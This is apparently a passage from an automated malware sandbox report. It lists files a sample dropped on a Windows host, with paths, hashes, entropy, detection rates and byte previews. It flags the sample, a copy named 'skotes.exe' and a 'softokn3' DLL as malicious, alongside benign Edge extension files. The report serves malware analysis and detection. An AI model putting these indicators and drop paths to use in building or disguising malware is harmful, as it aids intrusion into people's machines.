SHA1:	CE0EAE756E594D55F9A3835FB46FA82895C12C76
SHA-256:	1C2F115D150D479F4EE5665477CCBFCB0EBDA06E7767C90E87F55F23BACB6125
SHA-512:	8441EB36925308B653CAF7ABDB34DBCB88799F14FD5FC9F11BA363206A46E83430C4CAF804631B23C5DCB710DA56BB691371FD5FC7A01461006387364BAA85F0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......H....................I.............................\|.I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...xkdkavkl.0...`0.....................@...ngrxgfaz......I......&..............@....taggant.0....I.."...,..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1189237d-c1fa-446b-949a-4ab4df67d943.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\33a381dc-0137-4253-b1ef-367c8646818c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\3a467e09-7be5-49fe-8a22-6e099a34697d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJDAFIEHIEG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854976
Entropy (8bit):	7.950030470993736
Encrypted:	false
SSDEEP:	49152:44ylfSD3avYUIh0+OZiq+ZrodAR2u6EuY:47lfSDfUHwrodAR2u5F
MD5:	A68BD83F0CEDD6B76CCA22D5853EC168
SHA1:	CE0EAE756E594D55F9A3835FB46FA82895C12C76
SHA-256:	1C2F115D150D479F4EE5665477CCBFCB0EBDA06E7767C90E87F55F23BACB6125
SHA-512:	8441EB36925308B653CAF7ABDB34DBCB88799F14FD5FC9F11BA363206A46E83430C4CAF804631B23C5DCB710DA56BB691371FD5FC7A01461006387364BAA85F0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......H....................I.............................\|.I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...xkdkavkl.0...`0.....................@...ngrxgfaz......I......&..............@....taggant.0....I.."...,..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cfd4084c-a183-4215-9222-ccebf50c956b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cff88a93-c52a-408e-9e24-85d849c8477d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1617257
Entropy (8bit):	7.99323366238041
Encrypted:	true
SSDEEP:	49152:ZQMqXkJNfQ+woSLndrEDipAZVhJYMTPFD5Vsu:KlQNfQwWrqE6fTPPVsu
MD5:	CD7A8C9AEBCE89FD06CF1F53AF7A0C09
SHA1:	9EE7EE68D936FB5BFC3DE58222EA79C1CE0AD1F2
SHA-256:	EDB78683C84C4A9F9B3BF9B38486D2C6BC9300EE8CD4BFCE23BAB05C4A7DEDEF
SHA-512:	33E9D5AD89153C2F1626FB32A6D7496DCFF49CC01F82767AB91DEC82B3626B52C9CA32192E69E59BF28A0B86AC9EB78143BA17F8A6041FAD1DB17CBF531E4A92
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.4044732655689245
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rru:8e2Fa116uCntc5toYaY5LM
MD5:	0554089D799CAD075E32A23EFF9C253A
SHA1:	251491FE953F4BE141B733B61EB3E04171FBD3FB
SHA-256:	877A4521176F6867D2DDE030C679160C35E09494B0485A086D391BD28F977798
SHA-512:	5E75C2AE40C5629B6E23FC51D8B1C2B0E6E772D266EAD1404999650257C8CFC042DA1E0EFD7547F79B52931CFE08D57F1299F44508EDBAD882F25B65D87E2BC1
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\db76b82e-d3b8-4828-9edb-f6d6f7519ac0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f1903620-1058-4d04-b92c-3aa13a55142a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\33a381dc-0137-4253-b1ef-367c8646818c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
